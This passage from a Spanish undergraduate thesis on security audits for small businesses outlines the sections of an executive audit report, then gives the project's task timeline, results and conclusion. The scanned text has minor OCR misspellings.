responsable de las tecnologias con las que desarrollan su actividad dentro de la empresa.

Informe Ejecutivo

Para la elaboracién de este informe se propone una estructura simple que el auditor
tendra que completar con la informacién obtenida durante todo el proceso de la auditoria
de manera poco técnica y utilizando un vocabulario que resulte sencillo de comprender por
personas que no necesariamente conozcan de terminologia informatica.

La estructura que se propone es la siguiente:

Acuerdo

Constara de un resumen que contenga informacion acerca de la peticién de la auditoria
por parte del cliente, por ejemplo:

- Nombre de la organizacidn (Cliente) que solicita la auditoria.

- Nombre de la organizacion o en su caso el auditor que llevara a cabo la
auditoria.

- Tipo de informacién que contendra este informe.

- Fecha de realizacion del mismo.

- Con respecto a los resultados obtenidos de la auditoria se mostrara el nivel,
descripcidon, alerta y recomendaciones de todas las vulnerabilidades
encontradas y validadas sobre el cliente.

- Definicidn del propdsito general de la auditoria.

- Enfoque de la Auditoria.
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Enfoque de la Auditoria

En esta seccién el auditor debera detallar brevemente los pasos y técnicas que ha
utilizado para analizar las posibles vulnerabilidades existentes en la organizacién.

Alcance de la Auditoria

Informa sobre el lugar ldgico vy fisico donde realizara las pruebas se seguridad, asi como
los limites de acceso a los sistemas que se auditen dentro de la organizacion.

Estado actual

Informa de forma global sobre la seguridad de la que dispone el cliente antes de llevar a
cabo las soluciones y recomendaciones que proponga el auditor. Ademas también muestra
un resumen de las vulnerabilidades graves encontradas y las posibles consecuencias de no
solventarlas.

Vulnerabilidades Encontradas

Contiene todas las vulnerabilidades encontradas, agrupadas por el nivel de importancia
y una breve descripciéon de cada una de ellas.

Ademads en este punto se podran afiadir graficos y otro tipo de esquema visual que
ayude a la comprension de los resultados obtenidos.

Cumplimiento de leves vigentes.

Finalmente se detallara la legislacion actual en materia de Seguridad Informatica que
pueda afectar a la organizacion solicitante de la auditoria. Ademas el auditor debera
detallar el estado de cumplimiento de la legislacién vigente y garantizar que las medidas
propuestas resultan suficientes para un total cumplimiento de la legislacion.

5. DESARROLLO

En este punto se muestra el desarrollo temporal llevado a cabo para la elaboracion de
este Trabajo de Fin de Grado, para el cual se han seguido las siguientes tareas:

- Tareal:

La primera tarea llevada a cabo ha sido la busqueda de todo tipo de informacién acerca
del tema del que trata este TFG y el posterior andlisis de la informacién obtenida.

Simultaneamente también se han definido los objetivos que se pretender alcanzar con
la elaboracién de este trabajo.

Coste de la tarea: 10% del coste global.

- Tarea2:
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Una vez se ha obtenido la informacidn suficiente acerca del trabajo que se va a realizar
se procede al desarrollo de una primera estructura base sobre la cual se trabajara.

Ademas, se comienza a realizar un analisis y busqueda de las herramientas que seran
necesarias para la elaboracién del trabajo.

Coste de la tarea: 5% del coste global.
- Tarea3:

Se elabora una introduccion al TFG y se instalan todas las herramientas buscadas
anteriormente, comprobando el correcto funcionamiento de todas ellas.

Coste de la tarea: 15% del coste global.
- Tarea4:

Se comienzan a realizar todo tipo de pruebas en entornos simulados haciendo uso de
las herramientas instaladas en la tarea anterior. A su vez, se comienza a tomar evidencia de
todos los resultados obtenidos en las pruebas que mas adelante se plasmaran en este
documento.

Coste de la tarea: 25% del coste global.
- Tareas:

Se realiza la documentacién y explicacion de todas las pruebas llevadas a cabo en la
tarea anterior siguiendo la estructura disefiada para el TFG.

Coste de la tarea: 20% del coste global.
- Tareab:

Llegados a este punto y con una gran cantidad de pruebas de campo realizadas y
documentadas, se desarrolla una estructura de informe final que sera el que se haga llegar
al cliente al final de todo el proceso de la auditoria.

Coste de la tarea: 15% del coste global.
- Tarea7:

Durante esta tarea se realiza un andlisis y discusién de los resultados obtenidos vy
finalmente se lleva a cabo una posterior revision de todo el trabajo realizado.

Coste de la tarea: 10% del coste global.
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6. RESULTADOS Y DISCUSION

Tras el desarrollo de este TFG se ha obtenido como resultado principal una metodologia
clara y sistematica en la que se puede basar un auditor de seguridad informdtica para llevar
a cabo auditorias en pequefias y medianas empresas.

Como resultado secundario se ha conseguido un prototipo de estructura para la
elaboracién del informe final de una auditoria, el cual podra ahorrar tiempo al auditor a la
hora de plasmar los resultados obtenidos en un documento.

7. CONCLUSION

Como conclusién de la elaboracidn de este Trabajo de Fin de Grado, se ha adquirido
una gran cantidad de informacion relacionada con la seguridad informdatica y ademads se ha
obtenido una metodologia, en la cual se indica cdmo y en qué momento utilizar esta
informacién adquirida durante el desarrollo del trabajo.

Por otra parte se ha podido comprobar de primera mano la necesidad, sobre todo por
parte de las Pymes, de tomar en consideracidon la seguridad digital, pues éstas son el
eslabdon mas débil en cuanto a seguridad se refiere. Resulta inquietante como con tanta
facilidad se pueden vulnerar los sistemas informaticos funcionales de la mayoria de eestas
empresas por personas no necesariamente expertas en Ciberseguridad.

Por esta razén y por otras como puede ser simplemente conocer el estado de seguridad
actual de tu organizacidn, se hace imprescindible la labor del auditor, ya sea llevando a
cabo auditorias de seguridad o bien concienciando e inculcando buenas practicas a los
empleados con la interaccidn de los sistemas.
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